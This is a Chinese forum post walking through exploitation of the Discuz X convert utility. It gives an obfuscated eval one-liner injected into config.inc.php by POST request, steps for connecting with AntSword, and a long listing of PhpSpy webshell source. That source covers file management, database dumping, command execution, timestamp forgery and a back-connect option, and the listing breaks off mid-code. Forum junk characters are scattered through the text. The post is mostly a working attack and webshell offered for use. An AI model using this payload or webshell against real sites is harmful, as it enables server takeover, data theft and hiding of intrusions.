找回密码
 立即注册
搜索
查看: 7905|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:  P* Q! f# W" A9 R7 ~. |3 Q
想要拿下一台主机A的权限:
5 |9 b8 n8 B* s- i5 k# h: ]1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
2 V5 \9 I2 [9 \: V2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
; I" `6 J; K/ W# j) O+ Q& h9 H4 C3、传上去后,得到apache用户普通权限,再提权成root  |# _" v& u- O
概述:
1 J2 z7 `! M6 W. E3 R这突破在一个DZ X系列自带的转换工具里面。
  G9 a. {+ z) K% e漏洞路径:utility / convert / data / config.inc.php' w+ C3 H- |% p  b' a8 k$ R2 T
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
* m6 O, R0 \& q1 d. p触发突破过程:
% e7 X9 ]4 T. q! \/ R1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
9 E' q0 g3 r1 H2 u" P2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序* p( S  X$ {' A6 b
攻击过程:
  |6 C1 C1 r- C1 `% d: s  z1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/# Y, H  ~% a$ m5 n4 [. k

6 O( J+ F0 y4 x% C7 ?- V1 `5 M) S# R8 t* G0 S
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马2 H3 f, D+ z1 k9 T% J
( y1 m- E1 U$ B) `
8、通过中国蚁剑上传大码- _$ S, |+ X( G8 E: w

: V% m4 N8 \( k4 C; b3 G) F6 m
" W/ ?3 l/ T9 P! C10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php; @/ C) S( y( D! s, H$ Y  K2 [- b2 b

  2. 3 u9 H% k9 L! X6 `' R- l6 P
  3. /*****************************************************************************7 M) [1 e% S3 [) k
  4. . I# [4 c' P3 U, j8 S
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    + M1 c4 O9 n( Q1 R9 `1 @
  6. * r8 Y% ~: P$ T. @. J) Z- [
  7. ====( c8 G, g7 e  |' j0 [

  8. 5 w+ r) s% g! O( C

  9. 8 a2 g+ O) w: }% u4 U; f
  10. *****************************************************************************/
    ! H- \0 x8 @# ~
  11. ! s2 V7 r* o7 f: z3 ]
  12. error_reporting(7);3 M* ~) `4 I* E9 ]. H( ~
  13. @set_magic_quotes_runtime(0);3 n, N- e6 m2 ~: R7 l" T- R
  14. ob_start();
      E% x0 o  R: p7 ?& f. r
  15. $mtime = explode(' ', microtime());
    * y4 }+ u% d8 k$ ^
  16. $starttime = $mtime[1] + $mtime[0];
    $ q- ?. }" |* C$ W
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');  r- Q/ A6 D" Y: n2 ~6 O
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    $ J3 F1 N! J- T% \' }; v
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');- r3 P. G4 {8 _
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );( I/ c) T. F! ^8 s
  21. define('IS_GPC', get_magic_quotes_gpc());4 ?9 U; W1 S) ^: ?+ k
  22. $dis_func = get_cfg_var('disable_functions');
    - u( y; j9 B) ^4 ], W8 f5 r& i' E; i0 ?
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );3 _* E+ l) G0 ]' O; u/ c' _
  24. @set_time_limit(0);* M1 M* l9 w8 J2 h7 M
  25. - G2 h! g# @. i- o$ M' [, Y
  26. foreach(array('_GET','_POST') as $_request) {
    * b1 \. U  @$ Q4 Y1 A; Z; O
  27.         foreach($$_request as $_key => $_value) {
    8 O. o0 j9 K% P
  28.                 if ($_key{0} != '_') {( T: W3 |" d7 O4 ^
  29.                         if (IS_GPC) {7 k; |; q3 V3 q4 X& O9 g
  30.                                 $_value = s_array($_value);" _8 ~9 p- ?/ P# f
  31.                         }
    & r5 d! C6 P. u8 F  r
  32.                         $$_key = $_value;0 r0 }# Z4 X0 I- @/ a+ H
  33.                 }
    8 x  ~$ V! n( r9 a3 k$ j4 e
  34.         }
    + v9 b$ h6 n  U0 j' K
  35. }
    0 }% p) }, b# a

  36. $ D" [" H; g- s
  37. /*===================== 程序配置 =====================*/
    . l- F& I* e3 H# i
  38. $admin = array();
    / o# T2 `+ a4 I1 X. o5 M+ v  V
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    5 P" C' Z, h1 a9 R" I& D
  40. $admin['check'] = true;& k; B& k$ P& K
  41. // 如果需要密码验证,请修改登陆密码
    3 s( q# p) K) j5 N* X
  42. $admin['pass']  = 'xuegod';
    8 e  h0 v0 j, r4 Y4 ]

  43. 7 _+ F( C5 n/ R- y
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认: a: M" a/ B  Q) v7 C
  45. // cookie 前缀
    ' `% c; x4 w- s" Y- S3 T/ s0 D5 q- O
  46. $admin['cookiepre'] = '';
    - I  \! Y8 j8 v0 p  M
  47. // cookie 作用域( |# V' X8 [/ |" h
  48. $admin['cookiedomain'] = '';+ r$ C0 l0 j2 ]+ r! l
  49. // cookie 作用路径
    1 R6 T' H4 D$ o- L  Z7 A  b( e5 A# M
  50. $admin['cookiepath'] = '/';
      W+ u: s/ L( ?4 S+ J
  51. // cookie 有效期
    0 u) U) o. ?3 r! `! C& }9 W
  52. $admin['cookielife'] = 86400;
    , B+ G* s1 t) M; U# c3 B8 n' J
  53. /*===================== 配置结束 =====================*/8 t3 U* x8 [- [: R  K' P
  54. 9 h: t4 }# M3 @- a& {
  55. if ($charset == 'utf8') {& n) u. a: k+ s" a% c3 r3 A: u' B, R
  56.         header("content-Type: text/html; charset=utf-8");, S$ p8 _* W2 G; b
  57. } elseif ($charset == 'big5') {0 V; L/ v' [  P: @4 W' _
  58.         header("content-Type: text/html; charset=big5");
    3 @5 u8 [' ?! h' A- E
  59. } elseif ($charset == 'gbk') {; X" D; n2 z4 f3 v& r3 X  p" p
  60.         header("content-Type: text/html; charset=gbk");9 Q* h, z9 m& [9 b4 N, G
  61. } elseif ($charset == 'latin1') {
    , v! ^3 `; ^+ x- y* k! U* ]! E  [
  62.         header("content-Type: text/html; charset=iso-8859-2");
    , N6 x" P9 r4 a& O
  63. }5 h" B4 J% m: A8 a$ l
  64. 6 w( P: B4 i2 L9 F( b2 K* _
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];- z. K& k& x3 k
  66. $timestamp = time();: H+ |* x" F6 v+ w* i2 E

  67. / s5 P! h5 ?5 t6 p8 ?$ L
  68. /*===================== 身份验证 =====================*/
    " ]9 h8 c6 ^' T/ ^
  69. if ($action == "logout") {
    4 ^" e& y( Y. n+ P: a
  70.         scookie('phpspypass', '', -86400 * 365);
    ) ?) Z, A) ]6 w" t& P3 s% Y3 d
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');( Q3 j9 l( D2 u6 W7 W6 G0 e
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    $ c% _- F& ~8 ]
  73.         exit;6 O+ D5 O% i) U( z2 P1 Y1 t$ j
  74. }' p9 N/ R% |4 z0 F/ S
  75. if($admin['check']) {
    3 \1 g( m4 f8 ~
  76.         if ($doing == 'login') {" L' F. A6 @5 ]
  77.                 if ($admin['pass'] == $password) {
    / R" a9 B* d3 A" ?! l2 {) e
  78.                         scookie('phpspypass', $password);
    / \& n3 A5 x, v" u
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');5 I6 b, h. {, Y5 x
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');2 I& B$ M& J; U8 n
  81.                         exit;8 j7 v+ k( X; k' Z( C$ q
  82.                 }9 c3 ?! u+ L+ B% Q
  83.         }
    $ Q$ o: i, J' J
  84.         if ($_COOKIE['phpspypass']) {
    - A; c- w+ t, T5 H- o* ]8 J; }% I
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    # k, ~. Y, j* U% i8 l
  86.                         loginpage();1 ^4 g$ j" K# F2 X/ h
  87.                 }. f: ~; W' h5 s) D
  88.         } else {7 N  H6 b( Z( O# a
  89.                 loginpage();
    & ~( |6 r, Y  d) u+ i( l5 _
  90.         }+ X# c4 w7 ?& G; Y0 T! O$ |' G  S
  91. }
    % J! ^* u$ q. G+ D; [
  92. /*===================== 验证结束 =====================*/
    ; I4 G2 R' t" r; J; a. b

  93. ' w% {0 f8 @& _, A2 `
  94. $errmsg = '';
    5 {2 ?8 O2 ^) X
  95. 6 ?# C. p9 R5 K5 ~" Z: I
  96. // 查看PHPINFO" ~* p# ]+ l3 G" }( o2 ~% A0 j, n
  97. if ($action == 'phpinfo') {: G* ]! ~; p$ v2 X+ ]. U" F
  98.         if (IS_PHPINFO) {. P2 I6 `8 P3 L6 a
  99.                 phpinfo();
    6 r) I0 ]8 J# F" h0 Q7 G
  100.         } else {* n1 F8 |1 [& Q* n# F
  101.                 $errmsg = 'phpinfo() function has non-permissible';$ x* k2 B; K2 o: E. p/ S& B
  102.         }
    1 N* j. ^' ~" O3 A' a
  103. }
    + l5 `3 X* [. X- c# s& D( p
  104. ; _( |- g. q' D5 U8 H# f
  105. // 下载文件& V& M  q5 t. |" O
  106. if ($doing == 'downfile' && $thefile) {/ [1 H* R1 U" F! c' S3 R+ O
  107.         if (!@file_exists($thefile)) {
    8 S6 I" X! \5 W8 t5 j! ?- h
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';
    $ {7 |; A2 w9 \* |
  109.         } else {( U; y+ ]9 j1 J/ i2 M' Y+ b
  110.                 $fileinfo = pathinfo($thefile);
    ' X) r9 G1 q' `
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    3 C7 o. x2 d- A% P3 ]3 U; G. ~
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    / z& U: u) U$ M, z0 N
  113.                 header('Content-Length: '.filesize($thefile));
    ! n" h  _# y4 F8 \# F$ r
  114.                 @readfile($thefile);. y% q/ n# S; z- M* X1 y( S* f
  115.                 exit;
    - d! \8 b# P7 m) c; H  ]' ^' K
  116.         }
    3 n: J0 x6 r' h. _5 J
  117. }
    % l( [# p+ a5 A+ b% o
  118. + h- o( J2 ?: }/ E2 p
  119. // 直接下载备份数据库
    9 ?8 i4 u  v) V! v/ g. q8 j
  120. if ($doing == 'backupmysql' && !$saveasfile) {  S5 n6 M7 `$ n5 ?1 Y( a
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    2 B! g9 M& ?; p. R0 r
  122.         $table = array_flip($table);
    6 w/ h3 M+ T; b- g3 }
  123.         $result = q("SHOW tables");
    ; e0 @  L  l( U! D% f" Z7 V' R
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');; E* l+ p: C* k9 K) H
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');; F" e7 Y/ R! m  P5 R$ L
  126.         header('Content-type: application/unknown');
    + _' M, H1 R4 z8 Q
  127.         header('Content-Disposition: attachment; filename='.$filename);
    5 _% {% E  i# b5 t7 P: m7 I7 W
  128.         $mysqldata = '';6 v. ^$ _( D6 x' d$ n
  129.         while ($currow = mysql_fetch_array($result)) {
    3 V7 n/ ?/ F  ^$ }5 ^8 N
  130.                 if (isset($table[$currow[0]])) {
    % ?' y! F3 [( ]5 t( m4 _
  131.                         $mysqldata .= sqldumptable($currow[0]);
    5 c( I* p4 B6 t3 K$ C
  132.                 }
    ; d  @$ u. ^5 s4 Y
  133.         }
    - i6 e/ Z3 i; Z: k0 ~1 }
  134.         mysql_close();* q% i: }8 W4 B# ]- V  E2 K
  135.         exit;
    6 O! ?% S" \$ a; q. q9 T& v+ L0 L4 _
  136. }
    ) n# v. Q9 ~  U: y/ D; r0 H
  137. . l7 p1 n; @. C8 _$ `8 W( D- e
  138. // 通过MYSQL下载文件9 _( v" z2 B( ^+ t; i. Y4 F0 E
  139. if($doing=='mysqldown'){
      M/ X' P8 r( |  Q0 I- B! r
  140.         if (!$dbname) {
    5 a; R1 g' g' z
  141.                 $errmsg = 'Please input dbname';+ F/ j$ {: ]1 W) S4 v/ l
  142.         } else {, R# U# \7 a* k# ~. k
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);# b9 m9 t: S# M
  144.                 if (!file_exists($mysqldlfile)) {
    - u# I* n; a7 Q% A9 W# M1 @9 @
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    : N6 F( h. @+ R. T' y
  146.                 } else {
    ( M# ?7 n# z0 @/ \
  147.                         $result = q("select load_file('$mysqldlfile');");
    2 F4 b% W: a& B
  148.                         if(!$result){7 p* z. F! L; X" V
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");: G  W6 ]  M9 X
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");3 [$ n. Z4 Y0 x& |
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况( ]* p1 `8 Y3 Q
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    ' E* X$ @3 s) a: E: S2 g
  153.                                 $result = q("select content from tmp_angel");9 [0 ~# h0 g* y$ T: e
  154.                                 q("DROP TABLE tmp_angel");, v* I# s! {4 U9 A
  155.                         }' I6 R* Y; W% K, n- c
  156.                         $row = @mysql_fetch_array($result);0 E- F1 w' I* l% p1 O
  157.                         if (!$row) {7 q1 H' Z+ a6 }4 G: O0 Z4 q8 P
  158.                                 $errmsg = 'Load file failed '.mysql_error();2 B3 N5 O1 `& I2 {
  159.                         } else {
    ! o- R* d3 f" A
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    " }. k( O: U, K3 J; z% G6 D( \" |
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);2 q$ F' b9 X8 q
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);' B" C6 m( b% |
  163.                                 header("Accept-Length: ".strlen($row[0]));8 q! u! \% c, }% N9 ^- o
  164.                                 echo $row[0];
    / Y* G2 c* [- K( v( ]! R( l* N
  165.                                 exit;
    / b* f) `3 V/ X
  166.                         }' ]3 {! z) S+ [2 P) S
  167.                 }
    ; q4 c: e* h0 v8 @* Y) |
  168.         }
    ( X7 _( P8 B# {
  169. }0 T2 n3 v; K5 O# F/ l, X8 x

  170. * [% u0 G5 A  C6 s* ^
  171. ?>
    ' Y( I' p/ y, a' n4 c* x/ O
  172. <html>
      c' ?. f& A' Z0 O
  173. <head>% L$ N( T* i: E) v* I
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">9 R- A- s, {1 `) r
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
    % s% v, ~2 ^% G6 d
  176. <style type="text/css">, A. |: ~4 }; w3 Q/ F
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
    6 o# O6 S- v2 b; F& k$ h- a
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}  B& l' @8 [' q
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
      a5 P4 F0 F- d/ m# l4 x& l
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    4 a* ^7 b$ _. l+ u% k
  181. a {color: #00f;text-decoration:underline;}
    $ ~0 F7 M9 g2 Q7 p: n1 u% x
  182. a:hover{color: #f00;text-decoration:none;}! g# ~7 t" A/ l* j2 W  y# Q5 g
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
    7 F' N5 w& Z7 i& {7 K) C
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    ) M$ z2 |" [: J) C( ~
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    , J' c" U$ M4 _
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}/ Z( T9 D' C% M3 y" G. E/ j# @
  187. .head td span{font-weight:normal;}
    , j. i8 Z0 W; ^; ]# k
  188. form{margin:0;padding:0;}
    # l& i" }+ _  m& y0 R; }7 P
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}2 B9 b% K1 ^2 \# h. r' s9 _. E- T
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}" O; n4 r9 k: ~4 y8 a
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}, d$ V$ T3 `6 ~: e
  192. </style>' O/ W- [2 Z/ u
  193. <script type="text/javascript">7 Y, m8 ^8 O' E7 \( E
  194. function CheckAll(form) {
    & h% H+ C' a6 |0 r; h
  195.         for(var i=0;i<form.elements.length;i++) {. I2 e' @" b" D
  196.                 var e = form.elements[i];2 `- a, E% K- e7 W% z" J
  197.                 if (e.name != 'chkall'), N, `9 S8 k" @- M/ F0 D3 `0 Q
  198.                 e.checked = form.chkall.checked;$ U: i9 S4 A* U1 l" J! r4 i
  199.     }) P3 x7 ^3 J( H6 S8 E6 Q% S4 c
  200. }
      E# m, O$ b1 i* c& M0 A5 Q- R
  201. function $(id) {/ c# _& Z- G! x4 ^) [; x% U- T% i
  202.         return document.getElementById(id);: R: m0 S2 X. [* p% s' a
  203. }! D1 T+ ~1 y7 L# E* S( X3 F4 q/ ^
  204. function goaction(act){* f) q7 c; [1 _* h
  205.         $('goaction').action.value=act;
      F: @' f, A1 j7 M6 K! I
  206.         $('goaction').submit();
    2 J8 p2 H: g; ]- S( }
  207. }
    ; z- L; l8 O) j& S- q+ ~& K
  208. </script>
    $ I0 O% X4 v2 W9 o- N
  209. </head>: a# Y+ K* b" Y2 ~% G+ M- P2 V
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    - @! v7 ?% X0 M' b7 S- v
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">3 G( b4 K& |! F" o! s
  212.         <tr class="head">& d/ r8 l% g. m- {
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>" A7 U$ O$ P& N7 \5 J, P6 V( Q
  214.         </tr>
    9 p( x3 I3 D1 ]6 m
  215.         <tr class="alt1">
    * Z; O" e( g) }& u: V
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>$ ?7 U1 b! @7 t/ z- ^; z" i
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    $ i5 z8 t0 }" h2 H& M/ A1 P
  218.                         <a href="javascript:goaction('file');">File Manager</a> | % M7 U( D- D9 z9 h- j5 _2 `1 z, s6 g
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    0 i9 a* B1 b' Y+ v+ Z$ O! n
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    ; R: Q- e7 [9 v* k! {9 p8 V
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    9 I; N  \9 L9 R2 E9 C2 I6 I
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    : v6 ~, x( j1 L0 ]
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
    * a$ J- ~% c2 P
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>- n  `8 o/ @/ U. `
  225.                 </td>, E- G9 M' ?7 P, i( [" U
  226.         </tr>
    - e$ D* P/ Z1 Q  y
  227. </table>+ ?6 v# _% F& V* D1 R
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>( B4 Z* [7 s/ x! r2 F. t
  229. <?php
    0 c' B5 q( w( e. {( ]* C

  230. 5 ^+ r0 |6 z  Y5 U9 l
  231. formhead(array('name'=>'goaction'));
    & v0 f7 }; {. q$ o4 X7 U
  232. makehide('action');
    / L' E/ ]5 q/ r# s- ]+ d  V
  233. formfoot();
    7 X/ X: o7 \5 Q- g% ~6 C( [" ^
  234. 0 p7 \6 H! z. m
  235. $errmsg && m($errmsg);( C" @. Y  D- p) q
  236. 7 h9 e; I! m% ^' T6 S9 r/ C
  237. // 获取当前路径$ z, U- f" K4 P) [( M
  238. !$dir && $dir = '.';
    5 r* Z7 F* p0 F. i) I
  239. $nowpath = getPath(SA_ROOT, $dir);
    + L9 e- s% f, k2 _# t
  240. if (substr($dir, -1) != '/') {5 I6 I6 ^0 r0 A# v! _
  241.         $dir = $dir.'/';  m1 R; f, r7 ^$ k8 E& H! S/ ?
  242. }
    0 W  F, W% f0 o  t& Y
  243. $uedir = ue($dir);8 R7 C" K% X$ [8 Y  A6 r
  244. 3 V1 a6 ^+ h" g& ?
  245. if (!$action || $action == 'file') {4 X3 g. M7 D. ?  {3 w

  246. 8 h7 K! T0 C8 P5 t( I1 o/ ?
  247.         // 判断读写情况9 v- U; P; l5 b1 i* N& `
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    & |! Q+ K& B2 }6 J8 m

  249. 5 Y$ U% }- f# g5 z& T3 E1 C" }: ~7 v, t$ H
  250.         // 删除目录$ w* C* V) i. s4 j( W
  251.         if ($doing == 'deldir' && $thefile) {
    ) ^7 o! V4 A+ L0 D+ l
  252.                 if (!file_exists($thefile)) {
    * r+ _! W; f: h: b* `& D( ^) g
  253.                         m($thefile.' directory does not exist');
    % |6 h9 k3 {2 ?5 |+ P) m
  254.                 } else {
    & [+ @5 o% p5 T6 T& ^; @8 K
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    ( D4 o6 d2 V3 W7 _) b
  256.                 }8 j9 }  ~1 r; f5 @5 h6 a, d
  257.         }* Q0 x( y" i1 w, d
  258. : |8 X; d* y% a( x2 n
  259.         // 创建目录
    0 K8 Q4 A& u. G( T6 t
  260.         elseif ($newdirname) {
    8 F1 b. p4 j4 D6 R& c8 ]' J$ C1 R
  261.                 $mkdirs = $nowpath.$newdirname;4 A7 x7 A. Q2 m! e. M4 K
  262.                 if (file_exists($mkdirs)) {: c5 C8 b9 x) {6 p  Q
  263.                         m('Directory has already existed');
    5 j' P6 N( T0 ^8 P
  264.                 } else {+ X6 i# H1 j0 R: G' o  c& {, m
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    ) d! S$ R, e7 u4 F0 N2 c
  266.                         @chmod($mkdirs,0777);
    7 D) g* ]  V& T* p% }. W8 ^& g) ~
  267.                 }" S$ C5 K8 X4 z0 ]+ G" ^
  268.         }
    " w. J0 o& ~( b: n# Y  [4 g
  269. 5 ]5 Y( K7 k1 j8 r, F9 ?. X5 P$ x
  270.         // 上传文件
    8 u6 w9 N1 p9 x! B$ r5 P3 _, x
  271.         elseif ($doupfile) {) ~5 O1 }! D( P1 e- M
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    0 X+ b! n& z% M( u
  273.         }
    1 ]( ?; e5 d6 N* }& _2 \8 ^+ q
  274. # `% A# a" k  l* r0 _
  275.         // 编辑文件' K* S2 \" S8 [* p, k# g3 o
  276.         elseif ($editfilename && $filecontent) {* @+ J+ J* a0 z# V1 b
  277.                 $fp = @fopen($editfilename,'w');! z: @. v8 ?% J) w! O! \
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));- z- ^2 v, |5 `( I% Z# B" @4 i
  279.                 @fclose($fp);
    6 I$ }3 _# u$ g" J" I' j0 y! u; m
  280.         }* ^6 K1 m+ B1 T( |
  281. ) `0 v3 `  l0 g$ m* A
  282.         // 编辑文件属性; w1 e; ]+ y$ I/ `
  283.         elseif ($pfile && $newperm) {5 h8 U% b: Q2 m( h% S1 j2 _7 U
  284.                 if (!file_exists($pfile)) {
    & n+ q2 y+ B3 l- B
  285.                         m('The original file does not exist');  v' V$ ~- U( A
  286.                 } else {
    : m( w: F$ K& m! s; H" i+ C
  287.                         $newperm = base_convert($newperm,8,10);) {- o' ~- X: J8 I+ ^* @
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));3 `) o% X  f6 g9 k( J9 q& \. r
  289.                 }
    ; ?+ Q/ {+ c# z6 Y9 z2 w/ t/ T
  290.         }
    ( A& q# L& E9 R' [4 @) X
  291. 1 g2 c: M. N# B5 L
  292.         // 改名
    . {3 H4 L( g. w4 F8 A2 F  s
  293.         elseif ($oldname && $newfilename) {
    + y0 N4 R. s' K) w( W1 m2 }& o
  294.                 $nname = $nowpath.$newfilename;7 r7 @* p7 h. f$ [: C5 x
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    1 o2 g/ k$ `6 _$ I- ]6 t( [
  296.                         m($nname.' has already existed or original file does not exist');( }% I; ^! x$ F! t( m$ p
  297.                 } else {
    ) `  |  Z8 ?3 {. q
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    . v8 {  x3 _# L% _+ b. i* A
  299.                 }
    " L7 d* I5 b' w; L% F* B* A% c
  300.         }
    6 n4 S, Z  x5 d* L# g& T" q0 E/ z
  301. ! J5 u0 G0 T5 H* y, g
  302.         // 复制文件
    1 B" k& P: W) X# |3 U& Z- O
  303.         elseif ($sname && $tofile) {
    7 ^+ @, z: a7 t9 l) ]+ s
  304.                 if (file_exists($tofile) || !file_exists($sname)) {" P9 A$ y6 T0 N+ c
  305.                         m('The goal file has already existed or original file does not exist');% z1 g# W, Y& I  W% O
  306.                 } else {3 `" n% z3 {! I* {8 `9 V
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    0 S7 P& e" b* G2 \
  308.                 }
    & x& v) H7 k7 D/ S1 X7 w
  309.         }7 N# P- R0 }/ C: I. A9 X
  310. ; M9 z* c* t4 Z4 {" }' f% V
  311.         // 克隆时间2 z& R6 T- y" {0 h* \% z4 a: S* w; B' s% \
  312.         elseif ($curfile && $tarfile) {$ J! h7 ^* \- T3 Z. Z! i
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {' N. n; `3 l) K; @1 o2 {
  314.                         m('The goal file has already existed or original file does not exist');
    7 M) d: y  G7 h- b& M
  315.                 } else {
    1 i5 S4 w% R/ V* M+ t$ {2 W
  316.                         $time = @filemtime($tarfile);
    & E- a( h0 O* I$ B9 n
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));1 B9 b# l! H2 f( ^  U2 I
  318.                 }# T1 s* `* ?+ Q0 O( G: B( H
  319.         }
    + C& r+ q% Z7 l1 l" F
  320. 9 G) y( I- G9 C1 J! _) x: f
  321.         // 自定义时间
    + r+ S1 d$ ?/ D/ d; z
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    7 L& a! q* B9 |* w* C, {1 D( P
  323.                 if (!@file_exists($curfile)) {
    & U2 q5 F; h; S- u
  324.                         m(basename($curfile).' does not exist');
    9 ?$ I* A1 h. E, K: x
  325.                 } else {; m; o0 c3 g! ~: J7 I3 L/ n
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");) }# a5 f: [6 ~3 n  M8 C) S
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));5 v1 L/ Y3 }8 l, O# C
  328.                 }" Y0 j/ F! h( }% ]% k3 t! g
  329.         }  J8 p2 Z9 b, P* N3 C+ ~# b
  330. ; F9 B0 T! P* q9 j3 _# B
  331.         // 打包下载
